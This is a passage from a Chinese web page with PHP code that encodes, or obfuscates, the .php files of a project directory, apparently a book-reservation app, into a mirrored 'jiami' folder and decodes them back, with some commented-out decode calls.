                        $path = $target.DIRECTORY_SEPARATOR.$file;  
                        $sourcePath =  $source.DIRECTORY_SEPARATOR.$file;  
                        $this->encodeDir($sourcePath,$path);  
                    }  
                }  

            }else if(is_file($source)){
                $extension=substr($source,strrpos($source,'.')+1);
                if(strtolower($extension)=='php'){
                    $this->encode($source,$target);
                }else{  
                    copy($source, $target);  
                }
            }  
        }
    }  
    $ob = new Encryption();  
    $ob->source = "/var/www/bookReservation";
    $ob->target = "/var/www/jiami/bookReservation";
    //解密指定文件  
    //$ob->decode('D:\\php\\WWW\\workspace\\weixin2\\Application\\Home\\Controller\\IndexController.class.php');  
      
    //$ob->decode('jiami.php');  
    //$ob->decode('dam6.php');  
    //对一个指定的文件目录进行加密  
    $ob->encodeDir($ob->source,$ob->target);
    //对一个指定的文件目录进行解密
    $ob->decodeDir($ob->target,"/var/www/jiami/bookReservationD");

标签:[!--infotagslink--]

您可能感兴趣的文章: